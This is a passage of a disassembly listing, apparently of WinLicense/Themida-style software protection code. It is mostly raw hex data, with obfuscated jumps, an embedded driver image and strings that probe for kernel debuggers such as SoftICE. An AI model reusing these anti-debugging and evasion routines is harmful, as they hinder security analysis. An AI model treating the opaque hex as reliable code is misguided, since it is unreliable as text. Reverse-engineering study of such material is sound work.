0FFFFFEF1h, 5FADBFBDh dd 6D032FEBh, 2FD0941h, 3D66E22Fh, 2C2714CBh, 2F517793h dd 552DF21h, 974B2F1Ch, 5D35A79h, 3D59679Fh, 0D7AE02DEh dd 0F98FF5AFh, 0BD74E40Fh, 5E5175D0h, 0E22FFD57h, 60584221h dd 1D7DD60h, 0FCE41D2Bh, 60582B0Fh, 7FE5B360h, 7CB55F47h dd 6F964EB2h, 41000001h, 0D8F0ADBFh, 1FA83D84h, 480A6CE7h dd 9F6AD1Fh, 517741C6h, 6BC63B49h, 404E861Eh, 0D840572h dd 75933362h, 0E23DA42h, 0F9310000h, 388BC70Eh, 402D4231h dd 3A3A8B5Ch, 0D0DE16E4h, 0E39B502h, 44FAE79Eh, 0C4371FA3h dd 1C2A3FF6h, 6A024FE2h, 0ED92632h, 58F03DECh, 0F30C5CF2h dd 22041A3Eh, 0AF8CFF43h, 43F0Bh, 0AB6E7600h, 0F435C515h dd 42D70E5Eh, 8DA45CACh, 0D554A7F7h, 9ABD263Fh, 0E232C861h dd 2F7F151Ch, 79C95FD2h, 4015AB86h, 74563A27h, 0F8DE5A7Bh dd 91FB2C73h, 43B7C5DAh, 81CE639Ch, 503683E9h, 1AF61706h dd 9AD23860h, 78E622AFh, 9D542251h, 8A75728Fh, 788A41A7h dd 54DAD22Ah, 851228BDh, 3B2F19E2h, 5BAB9DD5h, 694D3AA6h dd 0F15A7CABh, 8E70BD23h, 8C9CC071h, 14E4E83Bh, 3BE9337h dd 0EDF70000h, 0B446962Ch, 568FDF75h, 23DD2DC3h, 0D328780Eh dd 3EA7C056h, 0B349E01Bh, 969B63h, 4AE051B0h, 962C05FAh dd 0D7BBA8C1h, 5F5A7B75h, 0B1BFF479h, 9EAAE24Fh, 0A183D061h dd 0E1CD35Eh, 5E073FF2h, 63B0697Ch, 66B37E81h, 4754A292h dd 0F86E7CDEh, 5491D382h, 0FE9B42CEh, 4A7A457Ch, 23FFFFFDh dd 0F643E615h, 0C615265Eh, 2FABF839h, 0F0DD9404h, 5176CA6Dh dd 0E2F0A775h, 0F63BC619h, 73AB11A9h, 16572C81h, 0E69D0F38h dd 0F138C3D1h, 0E9D40CA4h, 5176E2A6h, 3E220F2Eh, 0C85A7907h dd 7C4AFC1Dh, 0EB00A916h, 811021DDh, 5A79079Dh, 956D327h dd 0B3A0BF71h, 5A7907CFh, 0EB238957h, 6DD53A00h, 87F12202h dd 839CE3D0h, 4E1CFF75h, 0EA528501h, 9A904633h, 4210055Ch dd 0AF827D8Bh, 1A17EAF8h, 0BC927663h, 4C1A0E5Eh, 0BDCB2214h dd 0A9B5ED44h, 7BB7DB56h, 0ED31062Ah, 2BE6C10h, 0EDF70000h dd 0B446962Ch, 568FDF75h, 23DD2DC3h, 0D328780Eh, 3EA7C056h dd 0B349E01Bh, 969B63h, 4AE051B0h, 962C05FAh, 0D7BBA8C1h dd 5F5A7B76h, 0FB2CF479h, 62EDDA91h, 6A51784Fh, 2AD7E59Ch dd 81A7107h, 3B4D7AB9h, 26ADCBC6h, 0D24FF061h, 0D928346Ch dd 6B93A158h, 44AA7F7Ch, 7E275FF7h, 0AACE639Ch, 0E4E95B92h dd 5159FDDAh, 64000002h, 0B3039980h, 0FC4CE247h, 4A9A30E9h dd 95E57BB6h, 142DC366h, 0B67388ABh, 32ED020h, 4DE41D6Dh dd 999867B7h, 28152E03h, 5A7B7644h, 2C61E6CCh, 75B447FBh dd 0E06B580Fh, 0E851784Eh, 0B1FE2BD0h, 0E7FCB319h, 3BC30CD9h dd 0AB11A9F6h, 828EC65Eh, 0C71EB47Dh, 4761B7B5h, 39711153h dd 4CAF7F93h, 48F890DDh, 922A77B2h, 0AE88752Ch, 365A7BB9h dd 20321B68h, 3D2F185Fh, 0DBE71FDFh, 4DBC0920h, 0E379B04Bh dd 0A85FD1F9h, 7AFBDFBBh, 0E299675Ah, 41BD2AD4h, 0A50BA3F0h dd 0DC29F0F5h, 81630C44h, 7D66B37Eh, 69A1906Fh, 31CED0h dd 0B06A3749h, 0D940211Ah, 23BB0821h, 186709BDh, 942CB17h dd 708FDFD1h, 972374C1h, 0BA072AD5h, 0B6BE0DD8h, 6A194614h dd 0A288D53Bh, 8EA739D7h, 0B59CC97h, 959466FDh, 234AB048h dd 6798AF3Dh, 1BE434CAh, 14E7C916h, 4F4C815h, 91A05FF6h dd 0D950ABFBh, 0FAED1422h, 46DE2B06h, 16FFA8E0h, 34301401h dd 0EAB85A7Bh, 728337B2h, 0D2E07E8Ch, 0BDC90128h, 555EB3Eh dd 0FDE633F6h, 0CC5238EBh, 8BC36981h, 9B65827Fh, 4BB14996h dd 0FD0B59FEh, 80A9515Fh, 795D4A33h, 15A7B71h, 8995CD33h dd 0EB00B772h, 7B721AFEh, 9CD4A25Ah, 8CA55AAAh, 525C7E3Fh dd 9866F2CCh, 916A4C99h, 58A64B98h, 3C8AFD82h, 0C96897AEh dd 0CB1CE333h, 0C8B1FE33h, 0EED8F7DBh, 4BB17F12h, 2C192EE5h dd 12EED848h, 21CA02D0h, 455B2638h, 0BBA4CE2Bh, 0EF26EACEh dd 3EA47212h, 0DE01FA06h, 5FAC1207h, 0D46379ADh, 2070062Bh dd 890552DFh, 4A37EE5Eh, 0FD4361Bh, 0B0948196h, 3818D657h dd 0E2C6B36Ah, 6A18D657h, 8856649Ch, 99869BF2h, 18D657B5h dd 91376F3Dh, 2D3FF666h, 0E4402C4Ch, 9BAEE65Eh, 0BCF833AEh dd 0B66D3B15h, 0C56C93A1h, 6D51E078h, 0F51EC01Ah, 0A90F22DDh dd 19E6C871h, 47B32CCEh, 972F7CE2h, 0B44B9B31h, 3247307Dh dd 0C01A6145h, 0E31BE91Eh, 55E266F8h, 9E6CA0D6h, 63F938C7h dd 8E45EC13h, 7CB46580h, 220FF1D3h, 14E230D5h, 0D96FC23Dh dd 8F717689h, 250CF2A2h, 8DDA40D8h, 3E9h, 13584C00h, 0AEFB1EC6h dd 0B1FE33CCh dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h dd 0BB0811D4h, 0BB0821D9h, 4EC816Fh, 89000000h, 0E0892404h dd 405h, 4E88300h, 5C240487h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0DB682434h, 89000042h, 6855243Ch dd 795A15CFh, 0E5C5815Dh, 512BF36Ah, 0EC6BFDB9h, 59CD0169h dd 728DF581h, 0EE890AD0h, 4EC815Dh, 89000000h, 4832424h dd 565F0424h, 52A3BD55h, 6C310825h, 8F5D0424h, 77810847h dd 2552A308h, 2434FF08h, 4C4835Fh, 5024348Bh, 405E089h dd 5000000h, 4, 5C240487h, 0FDD9E2E9h, 755817FFh db 67h, 0B9h ; --------------------------------------------------------------------------- loc_569256: ; CODE XREF: sub_542C3C:loc_568996j mov eax, 5E9A614h add eax, ebp jmp eax sub_542C3C endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 46h dd 0AA1D7856h, 0B70FF6E1h, 618B740h, 65691FF8h, 6F3F92EEh dd 64619327h, 0B140C642h, 72323E54h, 0BD5DCEDEh, 0F54CF2F2h dd 0FB0317A5h, 0E8773403h, 0Eh, 0C6F964F7h, 88D4749Dh dd 5D5B743Ah, 8B0F93DFh, 3, 5AC28B66h, 0EE9h, 319BC100h dd 0B224728Eh, 4D2ABD19h, 81195A32h, 6C3AC2h, 2BB4B300h dd 0BB6653C9h, 0FF5B9171h, 800F1134h, 0Ah, 4840Fh, 0BB660000h dd 815F39ABh, 0AAB5AAC7h, 7CE38142h, 812C5113h, 0DA3CCBC7h dd 0DE976h, 0A27C0000h, 0D139C3C8h, 51147EC2h, 819921E5h dd 0ED8C36EFh, 0B2CC8004h, 800A3C89h, 820F85D4h, 15h, 10E9h dd 5ACAE600h, 82DF06C1h, 8021DA25h, 7A2C2FECh, 4E98367h dd 81C6BF0Fh, 0FF9474F9h, 8C850FFFh, 0FFFFFFFh, 73E9F7BFh dd 60000000h, 2031BD83h, 0F0005E7h, 584h, 5EE900h, 6A0000h dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah dd 5E706E5h, 24048950h, 24348950h, 95FF006Ah, 5E708D9h dd 85C6C361h, 5E732A5h, 6486684Dh, 3481CACAh, 0FF122E24h dd 85B5FF6Eh, 8D05E717h, 0E7392A85h, 89D0FF05h, 0E708D985h dd 5C1EEB05h, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h dd 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4BDAC357h, 83F9B70Fh, 0E70C81BDh, 9750005h, 2819BD83h dd 740005E7h, 8B535019h, 40FB8C0h, 85890000h, 5E7047Dh dd 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h dd 40FB853h, 85890000h, 5E7047Dh, 0B1829D8Dh, 0D3FF05E9h dd 8166585Bh, 296DCDC6h, 0E72C11BDh, 8BC08B05h, 0E71CAD8Dh dd 0A585C605h, 4305E732h, 13E9h, 2AA9D100h, 3BFA1F1h, 0DAD3D158h dd 3C61978Fh, 4ABAE062h, 5998D8Bh, 596805E7h, 50B9FBBBh dd 66310F52h, 585AF78Bh, 0A3240481h, 0E90292B3h, 8, 5D1B24Ch dd 1183871Bh, 899B5FFh, 0BF0F05E7h, 2A858DFBh, 8905E739h dd 0E70C69B5h, 6AD0FF05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 63EFC352h, 9E9042Dh dd 81000000h, 0BC42A540h, 0CA7F4104h, 0E2B96690h, 1FBA50A7h dd 905EC32Bh, 5860Fh, 87BA0000h, 6A392FF5h, 0BD68F500h dd 81D81596h, 69C32404h, 958B27EAh, 5E70579h, 0F960036Ah dd 0B880Fh, 6E90000h, 39000000h, 732B6777h, 6A6173h, 2DBD8Bh dd 36A05E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 6EC35545h, 8E3B7B68h, 8F0F6Fh, 81000000h, 0C4852404h dd 6A5071h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0E8E306C3h, 50262F46h, 42BFD7BAh, 0AE85A4Ah dd 1D000000h, 0DF8A140h, 8ADB7C6Fh, 0E9858906h, 5E05E712h dd 1905C781h, 9D8D19D6h, 5E9A842h, 50D7B70Fh, 12850Fh dd 0AE80000h, 0C9000000h, 0C1DD127Ah, 6537C27h, 5AF88B09h dd 0E9241C89h, 12h, 0ED62431Ah, 0C39C23B7h, 0AD23D6ADh dd 9A542036h, 0D0FFE243h, 0D99531FCh, 4005E725h, 2F2850Fh dd 850F0000h, 6, 67DB58Bh, 0BE5805E7h, 3EDFC851h, 13E86050h dd 62000000h, 8125D36Ah, 9955D637h, 44F7C988h, 0CFAC235h dd 5250F560h, 585A310Fh, 489615Ah, 5DBD2B24h, 6A05E700h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 84A3D108h, 0DF556868h, 8B0F8D4Ah, 4, 0D57BBA66h dd 2B240481h, 6672B521h, 813DD0B9h, 0F5BDABE7h, 6A036A49h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 5D9EC350h, 6A006A24h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 3FACC353h dd 83FBE56h, 8F91F7ECh, 855EC681h, 0B5891BA8h, 5E72785h dd 0BD0B036Ah, 5E71BC5h, 4E8h, 0 dd 0E95150C0h, 13h, 6E60BFC8h, 819096E0h, 1AD20BF4h, 6577F722h dd 5988BB06h, 424448Bh, 0D78A008Bh, 4244489h, 7C0D25BFh dd 0B501580Eh, 5E71719h, 0A84B9D8Dh, 952905E9h, 5E70A51h dd 0DAE6BF66h, 66935093h, 0F8AACE81h, 6AD0FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 3B3DBAC3h, 5F02428h, 9D950174h, 4005E72Bh, 192850Fh dd 880F0000h, 0 dd 0EA8A5058h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 9068C350h, 5501F5A3h dd 60006AEAh, 25398D89h, 0E86105E7h, 4, 80h, 52506052h dd 585A310Fh, 850Fh, 5E610000h, 8870F50h, 0F000000h, 284h dd 8B595300h, 0B2042444h, 0F008B98h, 28Dh, 89CB8B00h, 0F042444h dd 8Fh, 10E95800h, 0BD000000h, 20FBC7F4h, 0A719AC63h, 8587FDF5h dd 3964F62h, 0E7253D95h, 0E8036A05h, 0Eh, 88056CE8h, 1FEAF165h dd 4BFB9090h, 9D293BB0h, 5E705DDh, 0F006A5Eh, 683h, 5850900h dd 6A05E72Dh, 21BD2B03h, 6805E70Ch, 46C8B2A3h, 0DE8h, 0F21A0200h dd 90F53087h, 59380096h, 81593A3Ch, 4D5D2404h, 958B7937h dd 5E71915h, 0A8569D8Dh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 24B3A7C3h, 89D0225Dh dd 0E7297595h, 0F28B9305h, 0BA665250h, 935F5E34h, 1C3D9D89h dd 0D0FF05E7h, 0BDDB58Bh, 0F4005E7h, 5785h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8B5BB830h, 0E71A718Dh, 0CE8B5805h, 154E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 264CA7EAh, 0BE99589h, 9D8905E7h, 5E70415h, 958BD88Bh dd 5E71159h, 50006A4Bh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0A2BFFA27h, 482383B9h, 1A519D89h dd 0FFB905E7h, 8B16EDBCh, 0E7086195h, 0B5335805h, 5E72EEDh dd 32A585C6h, 8B4305E7h, 0E72815B5h, 2BB36805h, 481B7C7h dd 0AF1EF424h, 12E808h, 5B300000h, 135865E9h, 195FC125h dd 0CE2C63A0h, 46F3DADFh, 0F8E4BF66h, 85BD895Fh, 0FF05E729h dd 0E70899B5h, 0F7816605h, 858D79ECh, 5E7392Ah, 4DEDBF66h dd 9E9D0FFh, 0B7000000h, 5CFFEC70h, 45EF5574h, 9E893h dd 5B840000h, 9890ACDh, 603A4A3Ch, 0BDB15B50h, 53505961h dd 935F00B5h, 0D0FF86B2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0B1C35545h, 8C0FA3h, 8D000000h, 0E772CA9Dh dd 79BD2905h, 0B805E721h, 1, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 30C35646h, 0C124574Bh, 8B514CA8h dd 0E712C595h, 89E3FF05h, 0E729099Dh, 60C18B05h, 958BD4B5h dd 5E71941h, 0E8C08B61h, 11h, 23D6ADC3h, 542036ADh, 3CE2439Ah dd 811804F5h, 48B966ACh, 0BD835AA1h, 5E70C81h, 83097500h dd 0E72819BDh, 19740005h, 0C08B5350h, 40FB8h, 75858900h dd 8D05E717h, 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h, 5E728h dd 53501774h, 40FB8h, 75858900h, 8D05E717h, 0E9B19B9Dh dd 5BD3FF05h, 6E958h, 36370000h, 509F138Ah, 29C19589h dd 0C08B05E7h, 0AAE9h, 666F5300h, 72617774h, 69575C65h dd 63694C6Eh, 65736E65h, 65684300h, 4E496B63h, 72705800h dd 7845746Fh, 43007469h, 6B636568h, 54554Fh, 4C6E6957h dd 6E656369h, 65566573h, 6F697372h, 6957006Eh, 63694C6Eh dd 65736E65h, 76697244h, 65567265h, 6F697372h, 6957006Eh dd 63694C6Eh, 65736E65h, 74736E49h, 65636E61h, 69784500h dd 6B4F74h, 636F7250h, 50004E49h, 4F636F72h, 45005455h dd 49746978h, 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0AFB68589h dd 858D05E9h, 5E9AFB2h, 1C858D50h, 5005E9AFh, 168h, 0C295FF80h dd 6A05E9AFh, 0B6B5FF19h, 6A05E9AFh, 8D006A01h, 0E9AF4B85h dd 0B5FF5005h, 5E9AFB2h, 22E995FFh, 0B5FF05E7h, 5E9AFB2h dd 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h, 1D4595FFh, 89C305E7h dd 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh, 685005E9h dd 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh, 6A5005E9h dd 8D006A04h, 0E9AF7585h, 0B5FF5005h, 5E9AFB2h, 22E995FFh dd 0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h dd 1D4595FFh, 89C305E7h, 0E9AFB685h, 0B2858D05h, 5005E9AFh dd 0AF1C858Dh, 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h dd 0AFB6858Dh, 6A5005E9h, 8D006A04h, 0E9AF5D85h, 0B5FF5005h dd 5E9AFB2h, 22E995FFh, 0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh dd 0B5FF05E9h, 5E9AFB2h, 1D4595FFh, 89C305E7h, 0E9AFB685h dd 0B2858D05h, 5005E9AFh, 0AF1C858Dh, 685005E9h, 80000001h dd 0AFC295FFh, 46A05E9h, 0AFB6858Dh, 6A5005E9h, 8D006A04h dd 0E9AF8885h, 0B5FF5005h, 5E9AFB2h, 22E995FFh, 0B5FF05E7h dd 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h, 1D4595FFh dd 89C305E7h, 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh dd 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh dd 6A5005E9h, 8D006A04h, 0E9AF3885h, 0B5FF5005h, 5E9AFB2h dd 22E995FFh, 0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h dd 5E9AFB2h, 1D4595FFh, 83C305E7h, 0E729D5BDh, 840F0005h dd 0Bh, 29D59D8Bh, 0C38305E7h, 0C303894Ch, 29D5BD83h, 0F0005E7h dd 0B84h, 0D59D8B00h, 8305E729h, 38950C3h, 0D5BD83C3h dd 5E729h, 0B840Fh, 9D8B0000h, 5E729D5h, 8954C383h, 0BD83C303h dd 5E729D5h, 0B840F00h, 8B000000h, 0E729D59Dh, 58C38305h dd 83C30389h, 0E729D5BDh, 840F0005h, 0Bh, 29D59D8Bh, 0C38305E7h dd 0C303895Ch, 858960C3h, 5E9AFB6h, 0AFB2858Dh, 8D5005E9h dd 0E9AF1C85h, 1685005h, 0FF800000h, 0E9AFC295h, 8D046A05h dd 0E9AFB685h, 46A5005h, 858D006Ah, 5E9AFADh, 0B2B5FF50h dd 0FF05E9AFh, 0E722E995h, 81BD8305h, 5E70Ch, 0C840Fh dd 0B5FF0000h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h dd 1D4595FFh, 0C36105E7h, 0B6858960h, 8D05E9AFh, 0E9AFB285h dd 858D5005h, 5E9AF1Ch, 16850h, 95FF8000h, 5E9AFC2h, 858D046Ah dd 5E9AFB6h, 6A046A50h, 8F858D00h, 5005E9AFh, 0AFB2B5FFh dd 95FF05E9h, 5E722E9h, 0C81BD83h, 0F0005E7h, 0C84h, 0B2B5FF00h dd 0FF05E9AFh, 0E9AFBE95h, 0B2B5FF05h, 0FF05E9AFh, 0E71D4595h dd 60C36105h, 0AFB68589h, 858D05E9h, 5E9AFB2h, 1C858D50h dd 5005E9AFh, 168h, 0C295FF80h, 6A05E9AFh, 0B6858D04h dd 5005E9AFh, 6A046Ah, 0AF96858Dh, 0FF5005E9h, 0E9AFB2B5h dd 0E995FF05h, 8305E722h, 0E70C81BDh, 840F0005h, 0Ch, 0AFB2B5FFh dd 95FF05E9h, 5E9AFBEh, 0AFB2B5FFh, 95FF05E9h, 5E71D45h dd 8960C361h, 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh dd 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh dd 6A5005E9h, 8D006A04h, 0E9AF9E85h, 0B5FF5005h, 5E9AFB2h dd 22E995FFh, 0BD8305E7h, 5E70C81h, 0C840F00h, 0FF000000h dd 0E9AFB2B5h, 0BE95FF05h, 0FF05E9AFh, 0E9AFB2B5h, 4595FF05h dd 6105E71Dh, 858960C3h, 5E9AFB6h, 0AFB2858Dh, 8D5005E9h dd 0E9AF1C85h, 1685005h, 0FF800000h, 0E9AFC295h, 8D046A05h dd 0E9AFB685h, 46A5005h, 858D006Ah, 5E9AFA5h, 0B2B5FF50h dd 0FF05E9AFh, 0E722E995h, 81BD8305h, 5E70Ch, 0C840Fh dd 0B5FF0000h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h dd 1D4595FFh, 0C36105E7h, 0B685C760h, 105E9AFh, 8D000000h dd 0E9AFB285h, 858D5005h, 5E9AF1Ch, 26850h, 95FF8000h dd 5E9AFC2h, 840FC00Bh, 0Fh, 0AFB685C7h, 5E9h, 4DE90000h dd 6A000000h, 0B6858D04h, 5005E9AFh, 6A046Ah, 0AF30858Dh dd 0FF5005E9h, 0E9AFB2B5h, 0E995FF05h, 0B05E722h, 0F840FC0h dd 0C7000000h, 0E9AFB685h, 5, 0AE900h, 85C70000h, 5E9AFB6h dd 1, 0AFB2B5FFh, 95FF05E9h, 5E71D45h, 0B6858B61h, 0C305E9AFh dd 0B6858960h, 8D05E9AFh, 0E9AFB285h, 858D5005h, 5E9AF1Ch dd 16850h, 95FF8000h, 5E9AFC2h, 858D046Ah, 5E9AFB6h, 6A046A50h dd 30858D00h, 5005E9AFh, 0AFB2B5FFh, 95FF05E9h, 5E722E9h dd 0C81BD83h, 0F0005E7h, 0C84h, 0B2B5FF00h, 0FF05E9AFh dd 0E9AFBE95h, 0B2B5FF05h, 0FF05E9AFh, 0E71D4595h, 60C36105h dd 0AFB68589h, 858D05E9h, 5E9AFB2h, 1C858D50h, 5005E9AFh dd 168h, 0C295FF80h, 6A05E9AFh, 0B6858D04h, 5005E9AFh dd 6A046Ah, 0AF42858Dh, 0FF5005E9h, 0E9AFB2B5h, 0E995FF05h dd 8305E722h, 0E70C81BDh, 840F0005h, 0Ch, 0AFB2B5FFh, 95FF05E9h dd 5E9AFBEh, 0AFB2B5FFh, 95FF05E9h, 5E71D45h, 85C6C361h dd 5E732A5h, 7B076852h, 0B5FFADE4h, 5E72A6Dh, 16C195FFh dd 858905E7h, 5E9AFC2h, 32A585C6h, 685205E7h, 902E00E5h dd 2A6DB5FFh, 95FF05E7h, 5E716C1h, 0AFBE8589h, 85C605E9h dd 5E732A5h, 12356852h, 0B5FFB9BFh, 5E72A6Dh, 16C195FFh dd 858905E7h, 5E722E9h, 32A585C6h, 685205E7h, 98781034h dd 2A6DB5FFh, 95FF05E7h, 5E716C1h, 1D458589h, 85C605E7h dd 5E732A5h, 0DBD46852h, 0B5FFC005h, 5E72A6Dh, 16C195FFh dd 858905E7h, 5E71B35h, 0DE8h, 20CF1E00h, 0ABB7E5F7h, 7760BE31h dd 8C0F5354h, 0 aFbtSbTf db '[fâ|˜Ã’f',0 align 10h aFlH db 'f‹×h',0 align 4 dd 58D0Fh, 0E3B90000h, 5E008A14h, 0E3DAEA81h, 34FF2654h dd 8A58F91Eh, 51C081E8h, 511B631Eh, 59C8BF0Fh, 971BF081h dd 0C8BF4E37h, 8154FC38h, 6BD973C0h, 0FE869h, 636F0000h dd 44876ADh, 59225C4Dh, 1A24DA66h, 0FFBF0FC4h, 33048959h dd 0FB8B6652h, 18B0F5Fh, 0F8000000h, 0BA02EE83h, 34284D85h dd 0F88B4E4Eh, 9A08FE81h, 850FFFFFh, 0FFFFFF9Eh, 0E8F8BF0Fh dd 5, 24D3FBB8h, 820F7Dh, 5F000000h, 815BEE80h, 592DC7h dd 0ADD68000h, 68h, 59EDB600h, 0C466BA66h, 583934FFh, 73EB8166h dd 80F08196h, 0E81CDF7Bh, 12h, 93C79C47h, 3EEC8158h, 191E1A26h dd 3041EF11h, 0F680796Fh, 0C0815E7Ah, 470DF24Bh, 0B9F4BE66h dd 0BD87F081h, 0BF0F2B39h, 0F0489D8h, 0C830Fh, 8B0F0000h dd 6, 880Fh, 83F80000h, 8B0F03E9h, 0 dd 815B5349h, 0FFA798F9h, 13850FFFh, 80000000h, 32E9B4CEh dd 4C000000h, 0D2B84127h, 301120D9h, 0CE8979Fh, 0EF000000h dd 0F5B5E47h, 0E4DF58D1h, 66163113h, 5E5B62BEh, 0FFFF67E9h dd 0C8178FFh, 4367DFD1h, 0C311A559h, 20EE910h, 43330000h dd 6F6E6E61h, 72772074h, 20657469h, 6165726Fh, 762E736Eh dd 0D0A6478h, 656B614Dh, 72757320h, 68742065h, 74207461h dd 20736968h, 656C6966h, 20736920h, 20746F6Eh, 6E696562h dd 73752067h, 62206465h, 6E612079h, 6568746Fh, 72702072h dd 6172676Fh, 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 0A585C600h, 4705E732h, 0E45B8668h, 99B5FFE3h dd 8D05E708h, 0E7392A85h, 68D0FF05h, 104h, 25F19D8Dh, 0FF5305E7h dd 0B58D50D0h, 5E9B965h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E732A5h, 6EFC6843h dd 0B5FFBC8Eh, 5E70899h, 392A858Dh, 0D0FF05E7h, 25F1B58Dh dd 6A05E7h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 0A585C6D8h, 5705E732h, 9BEE5668h, 99B5FFA6h, 8D05E708h dd 0E7392A85h, 8DD0FF05h, 0E71339BDh, 8B8D8D05h, 6A05E9BAh dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 0E9B76DB5h, 0A6858D05h, 0FF05E9A7h, 0CA8D8DD0h, 0B805E772h dd 0 dd 85C6E1FFh, 5E732A5h, 4AA76843h, 0B5FFC076h, 5E70899h dd 392A858Dh, 0D0FF05E7h, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 4 a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 4 dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 5E9F2E0h, 0A840F00h, 0C7000000h, 0E7281985h, 105h, 0A585C600h dd 4705E732h, 2E303468h, 243481AAh, 3A435CB9h, 899B5FFh dd 858D05E7h, 5E7392Ah, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 